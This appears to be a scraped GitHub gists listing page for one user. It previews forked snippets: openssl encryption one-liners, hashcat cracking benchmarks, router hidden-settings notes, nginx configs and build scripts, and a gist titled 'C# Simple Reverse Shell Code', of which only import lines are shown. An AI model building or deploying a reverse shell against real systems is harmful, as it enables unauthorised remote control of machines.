Skip to content

Instantly share code, notes, and snippets.

View akiraaisha's full-sized avatar
🤔

Julian Lugod akiraaisha

🤔
  • Municipal Government of Cainta
  • Philippines
View GitHub Profile
@akiraaisha
akiraaisha / gist:bc94b61fd6528e78daac
Created January 31, 2016 21:04 — forked from corvax19/openssh-encrypt-decrypt.txt
Simple text encryption/decryption with openssl
echo -n "That's the text"|openssl enc -e -aes-256-cbc -a
Encrypt with interactive password. Encrypted message is base64-encoded afterwards.
echo -n "That's the text"|openssl enc -e -aes-256-cbc -a -k "MySuperPassword"
Encrypt with specified password. Encrypted message is base64-encoded afterwards.
echo "GVkYiq1b4M/8ZansBC3Jwx/UtGZzlxJPpygyC"|openssl base64 -d|openssl enc -d -aes-256-cbc
Base-64 decode and decrypt message with interactive password.
echo "GVkYiq1b4M/8ZansBC3Jwx/UtGZzlxJPpygyC"|openssl base64 -d|openssl enc -d -aes-256-cbc -k "MySuperPassword"
@akiraaisha
akiraaisha / 8x1080.md
Created April 7, 2017 17:00 — forked from epixoip/8x1080.md
8x Nvidia GTX 1080 Hashcat Benchmarks

Keybase proof

I hereby claim:

  • I am akiraaisha on github.
  • I am julianlugod (https://keybase.io/julianlugod) on keybase.
  • I have a public key ASDQI5RLx5SvLxVfcFL2CY2nFjz-oIEovLM58IchLaeaawo

To claim this, I am signing this object:

@akiraaisha
akiraaisha / pldt-home-fibr-an5506-04-fa-rp2616-advanced-settings.md
Created May 21, 2018 07:35 — forked from kleo/backspace.md
PLDT HOME FIBR AN5506-04-FA RP2616 Advanced Settings

PLDT HOME FIBR AN5506-04-FA RP2616 Advanced Settings

By default the PLDT HOME FIBR AN5506-04-FA RP2616 comes only with limited settings.

Hidden from the web interface are the rest of the router's capabilities and advanced settings.

We just need to enter the right url for the settings you're looking for.

We need to be logged in before we can do anything else, use your defined password if you already set the admin password.

Keybase proof

I hereby claim:

  • I am akiraaisha on github.
  • I am julianlugod (https://keybase.io/julianlugod) on keybase.
  • I have a public key whose fingerprint is 3910 86C3 6F7B 4244 2DAF 1311 8414 589F BE88 CAC1

To claim this, I am signing this object:

@akiraaisha
akiraaisha / coub_grabber.sh
Last active May 9, 2019 03:19
Coub Downloader
#/bin/sh
color=$(tput setaf 153)
color2=$(tput setaf 6)
set -e
yt -o 1.mp4 "$1"
yt -f html5-audio-high -o 1.mp3 "$1"
printf '\x00\x00' | dd of=1.mp4 bs=1 count=2 conv=notrunc
for i in `seq 1 $2`; do echo "file '1.mp4'" >> 1.txt; done
@akiraaisha
akiraaisha / msys-env.cmd
Created August 26, 2018 04:11 — forked from juntalis/msys-env.cmd
A (Windows) batch script to open the MSYS shell in the user's current window (cmd.exe or whatever wrapper you're using) at the user's current folder. It requires getcp.exe be in your msys bin folder. (getcp.exe is included with msysgit) It also generates
@rem Do not use "echo off" to not affect any child calls.
@SETLOCAL
@SETLOCAL ENABLEEXTENSIONS
:: Figure out where msys's root folder. If you want, you could just add the folder in the line
:: below.
@set MSYSROOT=
@if "x%MSYSROOT%"=="x" @if exist "%~dp0msys.bat" @set MSYSROOT=%~dp0
@if "x%MSYSROOT%"=="x" @if exist "%~dp0.msys-root" @set /P MSYSROOT=<%~dp0.msys-root
@if "x%MSYSROOT%"=="x" (
@akiraaisha
akiraaisha / nginx.conf
Last active October 8, 2018 03:24
NGINX working config
#user nobody;
worker_processes auto;
error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
pid logs/nginx.pid;
@akiraaisha
akiraaisha / nginx-boringssl-build-script-debian.sh
Created September 19, 2018 18:27 — forked from neilstuartcraig/nginx-boringssl-build-script-debian.sh
This builds NGINX from source with BoringSSL for Debian (alike?) systems with systemd (e.g. Debian Jessie)
#!/bin/bash
LATESTNGINX="1.11.10"
BUILDROOT="/tmp/boring-nginx"
# Pre-req
sudo apt-get update
sudo apt-get upgrade -y
# Install deps
@akiraaisha
akiraaisha / Simple_Rev_Shell.cs
Created October 18, 2018 14:37 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;